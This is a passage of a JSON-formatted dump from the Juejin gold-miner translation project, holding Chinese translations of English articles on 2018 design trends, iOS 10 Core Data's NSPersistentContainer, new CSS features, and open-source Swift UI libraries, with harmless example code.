Website](https://simplychocolate.dk/)\n\n![](https://mir-s3-cdn-cf.behance.net/project_modules/max_1200/4cb37a59540015.5a264f2e343c5.png)\n\nVisión Yo Soy 的商业铭牌，由 [Eduardo Vázquez](https://www.behance.net/edkills) 为 [Qualium](https://www.behance.net/qualiummx) 设计\n\n## 更加生动的渐变\n\n大胆色如日中天，渐变色也不甘示弱，相比以前有了很大的进步。渐变回归设计界后，也算是站住了脚跟：品牌设计、web 设计、logo 设计、用户界面设计等都陆续开始使用渐变元素。双色、三色或者色彩大满贯的组合让设计更显得有范，富有吸引力。\n\n![](https://mir-s3-cdn-cf.behance.net/project_modules/max_1200/81e08a59540015.5a2dfec1aa839.png)\n\nMagic.co 的首页，由 [Ludmila Shevchenko](https://dribbble.com/LudmilaShevchenko) 设计\n\n![](https://mir-s3-cdn-cf.behance.net/project_modules/max_1200/f43fcc59540015.5a2654e99c3cb.jpg)\n\n[Gradient Studies 12](https://www.behance.net/gallery/51830921/Gradient-Studies)，由 [Evgeniya Righini-Brand](https://www.behance.net/jackie-kaydo) 设计\n\n![](https://mir-s3-cdn-cf.behance.net/project_modules/max_1200/da3d5559540015.5a2654e99c88e.png)\n\n[KIWI Rebranding](https://www.behance.net/gallery/43220641/KIWI-Rebranding-and-Website)，由 [Fabio Pistoia](https://www.behance.net/fabiopistoia) 设计\n\n## 几何图样\n\n继扁平设计和极简主义之后，几何系逐渐成为设计界的新宠。再加上大胆的用色，几何系适当增加了视觉上的复杂性，还有那么点视觉刺激，不过也正是这样才能足够吸睛。\n\n![](https://mir-s3-cdn-cf.behance.net/project_modules/max_1200/d1bc1c59540015.5a26564069883.jpg)\n\nGoldengate 的商业铭牌设计，出自 [Studio Recode ](https://www.behance.net/studiorecode)\n\n![](https://mir-s3-cdn-cf.behance.net/project_modules/max_1200/44687b59540015.5a26564069edf.jpg)\n\n[BigCommerce Mural](https://dribbble.com/shots/3408379-BigCommerce-Mural)，出自 [Steve Wolf](https://dribbble.com/WOLF_STEVE)\n\n![](https://mir-s3-cdn-cf.behance.net/project_modules/max_1200/3aa66559540015.5a2656ab0abe2.jpg)\n\n[Mercht Brand Identity](https://www.behance.net/gallery/36549745/Mercht)，出自 [Robot Food](https://www.behance.net/RobotFood)\n\n## 动效\n\n近几年动效发展迅猛，随着硬件性能的提升，动效的执行也越来越流畅，交互体验也更加符合直觉。 动效在 web 页面中可以起到铺陈的作用，手机端可以用来平滑元素间的过渡。毫无疑问，动效为设计注入了无穷的活力。 当然，动效也不必设计的多么华丽，避免显得多余，只需要在感官、交互和处理过程上传达出细节上的人文关怀，这样才能更好的取悦用户。\n\n[Facebook F8 峰会的网页设计](https://www.f8.com/)\n\n![](https://mir-s3-cdn-cf.behance.net/project_modules/max_1200/acc01c59540015.5a265a61a057b.gif)\n\n[PocketBook 的欢迎页设计](https://dribbble.com/shots/3613821-Onboarding-Pocketbook-Gif)，由 [Andrew McKay](https://dribbble.com/andrewmckay) 设计\n\n![](https://mir-s3-cdn-cf.behance.net/project_modules/max_1200/f3d2f559540015.5a265a61a08b3.gif)\n\n[Intel Logo 动画](https://dribbble.com/shots/1489338-Look-Inside)，[Nicolas Girard](https://dribbble.com/nicolas) 设计\n\n还有另一个 [Google 点阵动效](https://design.google/library/evolving-google-identity/)。\n\n## 视差效果\n\n视差效果让网站显得更有趣，更容易让人留下印象。例如，页面滚动时，在页面的前景和背景元素之间插入 3D 效果，可以让元素的穿梭更加丝滑，还能带来沉浸式的浏览体验。\n\n[Ronin Amsterdam Website](https://www.roninamsterdam.com/)\n\n[AMAIÒ Website](http://as.ouiwill.com/about)\n\n[Elevux Website](https://elevux.com/#home)\n\n## 3D\n\n\n3D 用途广泛，例如现在 AR 和 VR 的沉浸式体验。不管是表现现实中的物体还是创作纯粹的艺术作品，3D 技术都能轻松胜任。圆润的抛光、细腻的表面和恰当的打光，达到了以假乱真的地步。3D 不仅可以给作品带来深度，还能给观者一种实感 —— 通过手头物品的联想来感知画面中物体的触感、运动趋势等。\n\n![](https://mir-s3-cdn-cf.behance.net/project_modules/disp/4c31b259540015.5a266120b097a.jpg)\n\n![](https://mir-s3-cdn-cf.behance.net/project_modules/disp/6ce7b859540015.5a266120b0e27.jpg)\n\n![](https://mir-s3-cdn-cf.behance.net/project_modules/max_1200/9f3cea59540015.5a266122252e9.jpg)\n\n[Marina Bay Sands Singapore X'Mas Comes Alive](https://www.behance.net/gallery/59201983/Marina-Bay-Sands-Xmas-Comes-Alive) [Campaign by MACHINEAST -](https://www.behance.net/MACHINEAST)\n\n\n![](https://mir-s3-cdn-cf.behance.net/project_modules/disp/913a8859540015.5a2661210d2ac.png)\n\n![](https://mir-s3-cdn-cf.behance.net/project_modules/disp/90642859540015.5a2661210d57c.png)\n\n![](https://mir-s3-cdn-cf.behance.net/project_modules/disp/f61d6c59540015.5a2661210da73.png)\n\n![](https://mir-s3-cdn-cf.behance.net/project_modules/max_1200/90f62359540015.5a266122248f3.png)\n\nRubik，由 [molistudio ™](https://www.behance.net/moli) 和 [Peter Tarka](https://www.behance.net/trk) 联合设计\n\n## 金属风\n\n现在的渲染工具越来越强大，渲染出的模型看起来也越光滑圆润了。有了这些黑科技，要做出奢华、高级的金属质感也就不是什么难事了。打好光、调好反射和阴影参数，坐等出图就可以了。\n\n![](https://mir-s3-cdn-cf.behance.net/project_modules/max_1200/0c8b8459540015.5a2661222463b.jpg)\n\n[Grand Spectacular 2016](https://www.behance.net/gallery/42252791/Grand-Spectacular-2016)，由 [C&B Advertising](https://www.behance.net/mustaali) 设计\n\n![](https://mir-s3-cdn-cf.behance.net/project_modules/max_1200/1f8cd759540015.5a26612224bb2.jpg)\n\n[Various Concepts](https://www.behance.net/gallery/58895659/VARIOUS-CONCEPTS)，由 [Oleg Morozov](https://www.behance.net/olegmorozov) 设计\n\n![](https://mir-s3-cdn-cf.behance.net/project_modules/max_1200/053eb459540015.5a26612225043.jpg)\n\n[League of Legends Mid-Season Invitational and World Championship Branding](https://www.behance.net/gallery/58298917/LEAGUE-OF-LEGENDS-RIOT-GAMES)，由 [ILOVEDUST](https://www.behance.net/ilovedust) 设计\n\n## 等轴设计\n\n设计也不必拘泥于二维的，可以尝试多种透视风格。等轴设计将物体分布在三个维度来隔离彼此，可以给创作带来更多机遇，或可一展宏图。\n\n![](https://mir-s3-cdn-cf.behance.net/project_modules/max_1200/3392d659540015.5a2661222579b.png)\n\n[Adobe 之城](https://www.behance.net/gallery/53792757/Adobe-Government)，由 [Peter Tarka](https://www.behance.net/trk) 和 [Mateusz Krol](https://www.behance.net/MateuszKrol) 联合设计\n\n![](https://mir-s3-cdn-cf.behance.net/project_modules/disp/85b0be59540015.5a2dfec0da458.png)\n\n![](https://mir-s3-cdn-cf.behance.net/project_modules/disp/b5398e59540015.5a2dfec0da10e.png)\n\n谷歌人，来自 [Markus Magnusson](https://dribbble.com/MarkusM) / 社交媒体，来自 [Ricardo Nask](https://dribbble.com/ricardonask)\n\n![](https://mir-s3-cdn-cf.behance.net/project_modules/disp/e5a5ec59540015.5a26612223d38.png)\n\n[3D 城](https://www.behance.net/gallery/16479195/3d-city)，来自 [Anna Paschenko](https://www.behance.net/anna_paschenko)\n\n## 留白\n\n给用户多点呼吸的空间，满屏幕的信息怕不是要把用户噎死。适当的留白反而可以让设计更现代化，看起来更舒服，也能让用户更专注于主体内容，不被冗杂的信息干扰，对内容的消化也更彻底。\n\n可以参考：\n\n[Great Wisdom Buddhist Institute](https://gwbi.org/)\n\n## 打破 Grid 布局\n\n长久以来，元素都是呆在自己的区域内，不敢跨越界线一点，更不谈相互重叠了。当然，这也确实方便了设计师的规划：指定某个区域只展示什么内容。长期如此，观众未免产生审美疲劳，看到千篇一律的设计就失去了继续看下去的欲望。\n\n所以，越来越多的设计师开始打破 Grid 布局风格，力图打造独特的风格，让设计看起来更富有表现力和吸引力。想要保持与时俱进，赢得市场竞争力，挑战就会存在，这种趋势也还会继续下去。\n\n可以参考：\n\n[Cedric Lachot Website](http://cedricklachot.com/)\n\n[Red Collar Digital Agency](http://redcollar.digital/)\n\n希望 2018 年，这些设计趋势不止成为趋势，还能成为主流；设计也能更加大胆，能有更多出色、独特的设计让人记住。观众们可以期待以后的设计能带来更多沉浸式的体验，在信息量和美观度之间达到平衡的同时，还能沁人心扉。\n\n2018 年的设计，绝对碉堡了。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n \n"
  },
  {
    "path": "TODO/25-core-data-in-ios10-nspersistentcontainer.md",
    "content": "> * 原文地址：[25 Core Data in iOS10: NSPersistentContainer](https://swifting.io/blog/2016/09/25/25-core-data-in-ios10-nspersistentcontainer/)\n* 原文作者：[Michał Wojtysiak](https://swifting.io/about/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Nicolas(Yifei) Li](https://github.com/yifili09)\n* 校对者： [Gran](https://github.com/Graning), [Wenlin Ou(owenlyn)](https://github.com/owenlyn)\n\n# iOS 10 中的 NSPersistentContainer\n\nXcode 8 已经面世了，如果你还没有尝试过这个测试版本，你将会发现各种新东西。这里有 Swift 3 [主要的更新](https://swifting.io/blog/2016/08/17/22-swift-3-access-control-beta-6?utm_source=swifting.io&utm_medium=web&utm_campaign=blog%20post)，有新的框架，比如 [SiriKit](https://swifting.io/blog/2016/07/18/20-sirikit-can-you-outsmart-provided-intents?utm_source=swifting.io&utm_medium=web&utm_campaign=blog%20post) 和一些对现存特性的增强改进，比如 [notifications](https://swifting.io/blog/2016/08/22/23-notifications-in-ios-10?utm_source=swifting.io&utm_medium=web&utm_campaign=blog%20post)。 我们也接收以 `NSPersistentContainer` 形式的简化版的 `Core Data stack`，它为我们做了大部分的准备工作。它值得我们去尝试么？让我们开始深入挖掘这些新特性吧。\n\n#### `iOS 10` 之前的 `Core Data stack` \n\n多年来，在尝试了很多种 `Core Data stack` 之后，我们选定了两个简单的 `stack`，融合成一个使用。让我们仔细看一下这些关键组件并开始连接使用他们。完整版本的 `Github` 链接在引用中能找到。代码已经适配到 `Swift 3` 和 `Xcode 8`。 \n\n```\nfinal class CoreDataStack {\n    static let sharedStack = CoreDataStack()\n    var errorHandler: (Error) -> Void = {_ in }\n    \n    private init() {\n    #1\n        NotificationCenter.default.addObserver(self,\n                                               selector: #selector(CoreDataStack.mainContextChanged(notification:)),\n                                               name: .NSManagedObjectContextDidSave,\n                                               object: self.managedObjectContext)\n        NotificationCenter.default.addObserver(self,\n                                               selector: #selector(CoreDataStack.bgContextChanged(notification:)),\n                                               name: .NSManagedObjectContextDidSave,\n                                               object: self.backgroundManagedObjectContext)\n \n    }\n    \n    deinit {\n        NotificationCenter.default.removeObserver(self)\n    }\n    \n    #2\n    lazy var applicationDocumentsDirectory: NSURL = {\n        let urls = FileManager.default.urls(for: .documentDirectory, in: .userDomainMask)\n        return urls[urls.count-1] as NSURL\n    }()\n    \n    #3\n    lazy var managedObjectModel: NSManagedObjectModel = {\n        let modelURL = Bundle.main.url(forResource: \"DataModel\", withExtension: \"momd\")!\n        return NSManagedObjectModel(contentsOf: modelURL)!\n    }()\n    \n    #4\n    lazy var persistentStoreCoordinator: NSPersistentStoreCoordinator = {\n        let coordinator = NSPersistentStoreCoordinator(managedObjectModel: self.managedObjectModel)\n        let url = self.applicationDocumentsDirectory.appendingPathComponent(\"DataModel.sqlite\")\n        do {\n            try coordinator.addPersistentStore(ofType: NSSQLiteStoreType,\n                                               configurationName: nil,\n                                               at: url,\n                                               options: [NSMigratePersistentStoresAutomaticallyOption: true,\n                                                         NSInferMappingModelAutomaticallyOption: true])\n            } catch {\n                // Report any error we got.\n                NSLog(\"CoreData error \\(error), \\(error._userInfo)\")\n                self.errorHandler(error)\n            }\n        return coordinator\n    }()\n    \n    #5\n    lazy var backgroundManagedObjectContext: NSManagedObjectContext = {\n        let coordinator = self.persistentStoreCoordinator\n        var privateManagedObjectContext = NSManagedObjectContext(concurrencyType: .privateQueueConcurrencyType)\n        privateManagedObjectContext.persistentStoreCoordinator = coordinator\n        return privateManagedObjectContext\n    }()\n    \n    #6\n    lazy var managedObjectContext: NSManagedObjectContext = {\n        let coordinator = self.persistentStoreCoordinator\n        var mainManagedObjectContext = NSManagedObjectContext(concurrencyType: .mainQueueConcurrencyType)\n        mainManagedObjectContext.persistentStoreCoordinator = coordinator\n        return mainManagedObjectContext\n    }()\n    \n    #7\n    @objc func mainContextChanged(notification: NSNotification) {\n        backgroundManagedObjectContext.perform { [unowned self] in\n            self.backgroundManagedObjectContext.mergeChanges(fromContextDidSave: notification as Notification)\n        }\n    }\n    \n    @objc func bgContextChanged(notification: NSNotification) {\n        managedObjectContext.perform{ [unowned self] in\n            self.managedObjectContext.mergeChanges(fromContextDidSave: notification as Notification)\n        }\n    }\n}\n```\n\n\n上面是啥？且容我慢慢道来。\n\n##### #1\n\n在初始化的时候，我们订阅了从主线程和后台线程 `NSMagedObjectContext` 发送来的通知。\n\n##### #2\n\n获取文档路径 `NSURL` 的 `getter`。`NSPersistentStoreCoordinator` 使用它在给定的位置创建 `NSPersistentStore`。  \n\n##### #3\n\n和文件目录相似，他获得 `NSManagedObjectModel` 的 `getter` 方法，用它来初始化有我们模型的 `NSPersistentStoreCoordinator`。\n\n##### #4\n\n这就是这些神奇的代码干的事情。首先，我们创建有模型的 `NSPersistentStoreCoordinator`。之后，我们获取我们文档目录的 `url`。最后，我们在这些文档目录内为某些类型的 `NSPersistentStoreCoordinator` 增加一个持久化的存储。\n\n##### #5\n\n我们在一个私有队列里创建一个'后台' `NSManagedObjectContext` 并且把它绑定到 `NSPersistentStoreCoordinator`。这个 `context` 被用于执行同步和写操作。 \n\n##### #6\n\n我们在主队列中创建一个'视图' `NSManagedObjectContext`并且把它绑定到我们的 `NSPersistentStoreCoordinator`。这个 `context` 被用于获取显示在 `UI` 上的数据。  \n\n##### #7\n\n这个 `stack` 使用了稳定、成熟的融合过的 `contexts`，它被保存的 `notifications` 驱动。在这些方法中，我们执行这个融合。\n\n#### `NSPersistentContainer` 简介\n\niOS 10 给我们提供了 `NSPersistentContainer`。它意图简化代码并且为我们解决负担。它能做到么？让我展示给你我们基于 `NSPersistentContainer` 重建 `CoreData stack` 。 一个**完整**的例子:\n\n```\nfinal class CoreDataStack {\n \n    static let shared = CoreDataStack()\n    var errorHandler: (Error) -> Void = {_ in }\n    \n    #1\n    lazy var persistentContainer: NSPersistentContainer = {\n        let container = NSPersistentContainer(name: \"DataModel\")\n        container.loadPersistentStores(completionHandler: { [weak self](storeDescription, error) in\n            if let error = error {\n                NSLog(\"CoreData error \\(error), \\(error._userInfo)\")\n                self?.errorHandler(error)\n            }\n            })\n        return container\n    }()\n    \n    #2\n    lazy var viewContext: NSManagedObjectContext = {\n        return self.persistentContainer.viewContext\n    }()\n    \n    #3\n    // Optional\n    lazy var backgroundContext: NSManagedObjectContext = {\n        return self.persistentContainer.newBackgroundContext()\n    }()\n    \n    #4\n    func performForegroundTask(_ block: @escaping (NSManagedObjectContext) -> Void) {\n        self.viewContext.perform {\n            block(self.viewContext)\n        }\n    }\n    \n    #5\n    func performBackgroundTask(_ block: @escaping (NSManagedObjectContext) -> Void) {\n        self.persistentContainer.performBackgroundTask(block)\n    }\n}\n```\n实际上这个更简短。但是之前版本的代码发生了什么？\n\n简单的答案是，`NSPersistentContainer` 已可以为我们代劳。对于一个博客文章的解释，这肯定不够 😆 。还是容我慢慢道来。\n\n##### #1\n\n这里，我们能看到 `NSPersistentContainer` 的能力。它完成了之前 `stack` 内#2, #3, #4, #5, #6 的工作，并一定程度上把我们从 #1 和 #7 中的工作中解放出来。 \n\n怎么做到的？\n\n首先，它通过一个名字来初始化，这个名字被用于在文档目录中查找一个模型并且用相同的名字创建一个存储器。这是一个快捷初始器。你也可以使用完整的版本，手动地传递你的模型。\n\n\n    public init(name:String,managedObjectModel model:NSManagedObjectModel)\n\n\n之后，在调用 `loadPersistentStores` 方法之前，你还有时间来进一步配置你的容器，例如，使用 `NSPersistentStoreDescription`。我们使用一个默认的 `SQLite` 数据库，所以我们装载自己的永久存储器并且确保错误处理。\n\n##### #2\n\n实际上这只是一个封装器。已经通过 `NSPersistentContainer` 为我们创建了 `viewContext`。而且，它已经被配置成可以接收从其他的 `contexts` 来的保存通知。引用自 `Apple` 公司:\n\n> 这个被管理的 `context` 对象与主队列有关。（只读）... 这个 `context` 是被配置成可持续的，并且从其他 `contexts` 处理保存的通知。\n\n##### #3\n\n`NSpersistentContainer` 也给予了我们一个工厂方法，它用来创建多个私有队列的 `contexts`。我们为了复杂的同步目的，在这里仅使用一个，常见的后台 `context`。由工厂方法创建出的 `Contexts` 也被设定成可自动地接收和处理 `NSManagedObjectContextDidSave` 的广播消息。\n这是可选项。\n\n##### #4\n\n`NSPersistentContainer` 在后台（详情可见 #5）为运行 `Core Data stack` 暴露了一个方法。我们非常喜欢这个 `API` 的命名，所以我们也为 `viewContext` 创建了类似的封装器。\n\n##### #5\n\n正如上文提到的，这仅是一个有关 `performBackgroundTask` 方法的封装器，它是 `NSPersistentContainer` 中的一个方法。每一次它调用一个新的 `context`， `parivateQueueConcurrencyType` 也被创建。\n\n**注意:** 我们已讨论了大部分 `NSPersistentContainer` 的特性，但是你也可以查看[参考资料](https://developer.apple.com/reference/coredata/nspersistentcontainer?utm_source=swifting.io&utm_medium=web&utm_campaign=blog%20post)，去查阅完整的内容。\n\n### 如果 `NSPersistentContinainer` 对我来说还是太庞大？\n\n有一些可选项。\n\n首先，确保查阅了完整的参考资料，并且在寻找你所需要的属性或者方法。我们已经涵盖了两个初始化器，一个仅需要字符串名和完整采用 `NSManagedObjectModel` 的快捷方法。\n\n之后，你可以调查扩展或者子类。举个例子，在我们其中一个项目中，我们在核心程序和扩展程序之间共享了一个 `Core Data stack`。它不得不落地在一个 App 共享组群空间中，并且 `NSPersistentContainer` 默认的文档目录已经不再为我们所用。\n\n幸运的是，通过一个轻量的子类 `NSPersistentContainer`，我们又满血复活了，并且能继续使用那些容器类带来的好处。\n\n```\nstruct CoreDataServiceConsts {\n    static let applicationGroupIdentifier = \"group.com.identifier.app-name\"\n}\n \nfinal class PersistentContainer: NSPersistentContainer {\n    internal override class func defaultDirectoryURL() -> URL {\n        var url = super.defaultDirectoryURL()\n        if let newURL =\n            FileManager.default.containerURL(\n                forSecurityApplicationGroupIdentifier: CoreDataServiceConsts.applicationGroupIdentifier) {\n            url = newURL\n        }\n        return url\n    }\n}\n```\n\n#### 总结 & 参考文献\n\n我希望你们喜欢这篇有关 `NSPersistentContainer` 的简短精干的文章，并且我们也希望看到你们是如何通过这些在 `Core Data` 框架上的改进来演进你们的 `Core Data stack`。\n\n稍等一下... 啊？还有其他的改变么？\n\n是的，当然有。最佳的方法是通过 `Apple` 公司的官方推文 'Core Data 在 iOS 10 上的新特性'。这些改变从并发、`context` 版本、请求获取、自动融合来自父 `context` 变化等开始，以在 `macOS 10.12` 中的 `NSFetchResultsController` 结束。\n\n作者: Michał Wojtysiak\n\n"
  },
  {
    "path": "TODO/3-new-css-features-to-learn-in-2017.md",
    "content": "> * 原文地址：[3 New CSS Features to Learn in 2017](https://bitsofco.de/3-new-css-features-to-learn-in-2017/)\n* 原文作者：[ireaderinokun](https://twitter.com/ireaderinokun)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者： [熊贤仁](https://github.com/FrankXiong)\n* 校对者： [vuuihc](https://github.com/vuuihc) [aleen42](https://github.com/aleen42)\n\n# 2017 年要去学的 3 个 CSS 新属性\n\n## 1. 特性查询（Feature Queries）\n\n不久前，我写过一篇关于特性查询的文章 —— [《一个我十分期待的CSS特性 - the one CSS feature I really want》](https://bitsofco.de/the-one-css-feature/)。如今果然出现了。除了 IE浏览器之外，所有主流浏览器（包括 Opera Mini）均已支持特性查询。\n\n特性查询采用 `@supports` 规则，它使得我们可以将 CSS 代码包裹一个条件块中。只有当浏览器的用户代理（user agent）支持某个特定的 CSS 属性-值对时，该条件块中的样式代码才会生效。下面举个简单的例子来说：只有支持 display: flex 的浏览器才会应用 Flexbox 样式\n```\n@supports ( display: flex ) {\n  .foo { display: flex; }\n}\n```\n另外，我们甚至可以使用像 `and` 和 `not` 这类操作符来创建更为复杂的特性查询。例如，检测一个浏览器是否只支持老式的 Flexbox 语法\n```\n@supports ( display: flexbox )\n          and\n          ( not ( display: flex ) ) {\n  .foo { display: flexbox; }\n}\n```\n\n### 兼容性\n\n![](http://i1.piimg.com/567571/bd5cfc239fccdda6.jpg)\n\n## 2. 栅格布局（Grid Layout）\n\n[CSS 栅格布局模块（CSS Grid Layout Module）](https://drafts.csswg.org/css-grid/) 定义了一个用于创建基于栅格布局的系统。它和 [弹性盒子布局模块（Flexbible Box Layout Module）](https://www.w3.org/TR/css-flexbox-1/) 有些相似，但由于其专为页面布局而设计，因此拥有许多不同的特性。\n\n### 显式定位元素\n\n一个栅格由栅格容器（由 `display: grid` 所创建）和栅格项（子元素）组成。在 CSS 中，我们可以简单且显式地组织栅格项的位置及顺序，并独立于 markup 语言中元素的位置。\n\n在[《CSS栅格实现圣杯布局》](https://bitsofco.de/holy-grail-layout-css-grid/)这篇文章中，我演示了如何使用栅格布局模块来创建万恶的“圣杯布局”。\n\n![Holy Grail Layout Demo](https://bitsofco.de/content/images/2016/03/Holy_Grail_CSS_Grid.gif)\n\n下列 CSS 代码仅有 31 行\n\n```\n.hg__header { grid-area: header; }\n.hg__footer { grid-area: footer; }\n.hg__main { grid-area: main; }\n.hg__left { grid-area: navigation; }\n.hg__right { grid-area: ads; }\n\n.hg {\n    display: grid;\n    grid-template-areas: \"header header header\"\n                         \"navigation main ads\"\n                         \"footer footer footer\";\n    grid-template-columns: 150px 1fr 150px;\n    grid-template-rows: 100px\n                        1fr\n                        30px;\n    min-height: 100vh;\n}\n\n@media screen and (max-width: 600px) {\n    .hg {\n        grid-template-areas: \"header\"\n                             \"navigation\"\n                             \"main\"\n                             \"ads\"\n                             \"footer\";\n        grid-template-columns: 100%;\n        grid-template-rows: 100px\n                            50px\n                            1fr\n                            50px\n                            30px;\n    }\n}\n```\n\n### 弹性长度\n\nCSS 栅格模块引入了一个新的长度单位：`fr` ，用于表示栅格容器中所剩空间的占比。\n\n这样我们可以根据栅格容器中的可用空间来分配栅格项的宽高。比如在圣杯布局中，我们可以通过下面的简单代码使得 `main` 区域占用两个边栏外的余下空间。\n```\n.hg {\n  grid-template-columns: 150px 1fr 150px;\n}\n```\n\n### 槽（Gutters）\n\n我们可以使用 `grid-row-gap`，`grid-column-gap`，和 `grid-gap` 属性来为栅格布局明确地定义槽。这些属性接受一个 [`<length-percentage>` 数据类型](https://bitsofco.de/generic-css-data-types/#percentages) 作为值，以表示内容区大小的相对百分比。\n\n比如设置一个 5% 的槽，我们可以这样写\n```\n.hg {\n  display: grid;\n  grid-column-gap: 5%;\n}\n```\n\n### 兼容性\n\nCSS 栅格模块最早将在今年三月份被浏览器们支持。\n\n![](http://i1.piimg.com/567571/229e6ea502a22d93.jpg)\n\n## 3. 原生变量（Native Variables）\n\n最后，原生 CSS 变量（[层叠变量模块（Cascading Variables Module）的自定义属性](https://drafts.csswg.org/css-variables/)）来了。该模块引入了一个用于创建用户自定义变量的方法，变量可被赋值给 CSS 属性。\n\n譬如，若有多个样式表使用同一个主题颜色，那么我们就可以将其抽象成一个变量，并引用该变量，而非重复书写。\n\n```\n:root {\n  --theme-colour: cornflowerblue;\n}\n\nh1 { color: var(--theme-colour); }  \na { color: var(--theme-colour); }  \nstrong { color: var(--theme-colour); }\n```\n\n我们之前可以用像 SASS 这种 CSS 预处理器来做到这一点，但 CSS 变量的优势是能实际运行于浏览器中。这就意味着，变量的值可以被动态的更新。比如要修改以上所有 --theme-colour 属性，我们只需要这样做\n```\nconst rootEl = document.documentElement;  \nrootEl.style.setProperty('--theme-colour','plum');\n```\n\n## 兼容性\n\n ![](http://i1.piimg.com/567571/fe40f3b4ec633b1c.jpg)\n\n\n## 关于兼容性？\n\n如你所见，以上所有特性目前都没有被所有浏览器完全支持，那么我们如何在生产环境中舒服地用上他们呢？渐进增强（Progressive Enhancement）！去年的前端开发者大会上，我就曾就如何在 CSS 中进行渐进增强做过一次分享。点击下面可以看到\n\n[![JavaScript Array Methods -　Mutator](http://bitsofco.de/content/images/2017/01/Screen-Shot-2017-01-09-at-20.58.09--2-.png)](https://player.vimeo.com/video/194815985)\n\n2017年有哪些 CSS 特性令你激动不已想要学习？\n"
  },
  {
    "path": "TODO/39-open-source-swift-ui-libraries-for-ios-app-development.md",
    "content": "> * 原文地址：[39 Open Source Swift UI Libraries For iOS App Development](https://medium.mybridge.co/39-open-source-swift-ui-libraries-for-ios-app-development-da1f8dc61a0f#.tg0lhb6r8)\n* 原文作者：[Mybridge](https://medium.mybridge.co/@Mybridge)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[jiaowoyongqi](https://github.com/jiaowoyongqi)\n* 校对者：[xiaoheiai4719](https://github.com/xiaoheiai4719), [Tuccuay](https://github.com/Tuccuay)\n\n# 给 iOS App 开发者的 39 个开源的 Swift UI 库\n\n由苹果公司创建的 **Swift** 是目前 [Github](https://github.com/showcases/programming-languages) 上最受欢迎的编程语言，并且对于开源项目的贡献 Swift 也是世界上最活跃的社区之一。\n\n开源框架是非常可爱的，因为当你打算开发 iOS 应用时，它们可以让你的工作变得极为简单。 对于通常需要几小时甚至几天来寻找开源框架的 iOS 开发者来说，这篇文章将会大大节省你的时间。\n\n[Mybridge AI](https://www.mybridge.co/) 评估了内容的质量，并且为专业人士将文章分级排序。在这次调查中，我们对比了近 **2,700 个开源 Swift UI 库** 并选出了前39名，被挑选出来的仅占总数的 **1.4%** ，但他们在 Github 上的平均 stars 数为 **2,527**。\n\n> 这是一个详细的 Swift “UI” (User Interface 用户界面) 库，分为 12 组：动画、弹出框、Feed 流、着陆页、色彩、图片、图形、图标、表格、布局、消息、搜索。\n\n> 如果你想寻找开源的 Swift “Apps”，请关注 [这个](https://goo.gl/5hR1e2)。\n\n![](https://cdn-images-1.medium.com/max/2000/1*pQ2wBDU_8uUMEzJezF5mSg.png)\n\n###\n\n#### [**No 1**](https://github.com/MengTo/Spring)\n\n**Spring: 一个基于 Swift 的简洁易用的 iOS 动效库[Github 上有 9164 个 stars]。**\n\n![](https://cdn-images-1.medium.com/max/800/1*oCnOGi87Hi_VpsScE2uUWQ.png)\n\n* * *\n\n#### [**No 2**](https://github.com/CosmicMind/Materia)\n\n**Material: 用于开发漂亮应用的动效和图形框架[Github 上有 6120 个 stars]。**\n\n![](https://cdn-images-1.medium.com/max/800/0*WzuiAh6Dh2XGDJ-p.png)\n\n* * *\n\n#### [**No 3**](https://github.com/IFTTT/RazzleDazzle)\n\n**RazzleDazzle: Swift 编写的，简单的基于关键帧的并且针对于 iOS 的动效框架。极为适用于滚动介绍的长页面[Github 上有 2291 个 stars]。**\n\n![](https://cdn-images-1.medium.com/max/800/0*2jQhQRaEyjJ8upPI.png)\n\n* * *\n\n#### [**No 4**](https://github.com/AugustRush/Stellar)\n\n**Stellar: 酷炫的物理动效库[Github 上有 1881 个 stars]。**\n\n![](https://cdn-images-1.medium.com/max/800/1*bM6KupIKJXxqVlVaiXEVVQ.png)\n\n* * *\n\n#### [**No 5**](https://github.com/exyte/Macaw)\n\n**Macaw: 强大且易用的矢量图形库，并且支持 SVG[Github 上有 594 个 stars]。**\n\n![](https://cdn-images-1.medium.com/max/800/0*GIQI-wsxDIDKiE_q.gif)\n\n![](https://cdn-images-1.medium.com/max/800/1*wpDDr9y_PLz_KUXF6B2_ig.png)\n\n###\n\n#### [**No 6**](https://github.com/kitasuke/PagingMenuControlle)\n\n**PagingMenuController: 页面浏览控制器，并且菜单可以自定义[Github 上有 594 个 stars]。**\n\n![](https://cdn-images-1.medium.com/max/800/0*DTNObXB7LB0nUT69.png)\n\n* * *\n\n#### [**No 7**](https://github.com/Ramotion/Preview-Transition)\n\n**PreviewTransition: 简单的相片预览控制器[Github 上有 1025 个 stars]。**\n\n![](https://cdn-images-1.medium.com/max/800/0*jobUDF8Gr4bb42SA.gif)\n\n* * *\n\n#### [**No 8**](https://github.com/demonnico/PinterestSwift)\n\n**PinterestSwift: 跟 Pinterest 一样的转场动画[Github 上有 1007 个 stars]。**\n\n![](https://cdn-images-1.medium.com/max/800/0*CDRQD4iFXH5N4xAz.gif)\n\n* * *\n\n#### [**No 9**](https://github.com/aslanyanhaik/youtube-iOS)\n\n**YouTube Transition: 像 YouTube iOS 应用一样在右侧观看缩略视频，用 Swift 3 编写[Github 上有 786 个 stars]。**\n\n![](https://cdn-images-1.medium.com/max/800/0*0aFK9Rzn2FX7ePvi.gif)\n\n* * *\n\n#### [**No 10**](https://github.com/twicketapp/TwicketSegmentedControl?utm_source=mybridge&utm_medium=blog&utm_campaign=read_more)\n\n**Twicket Segmented Control: 用于替代 iOS 默认组件的自定义 UISegmentedControl [Github 上有 680 个 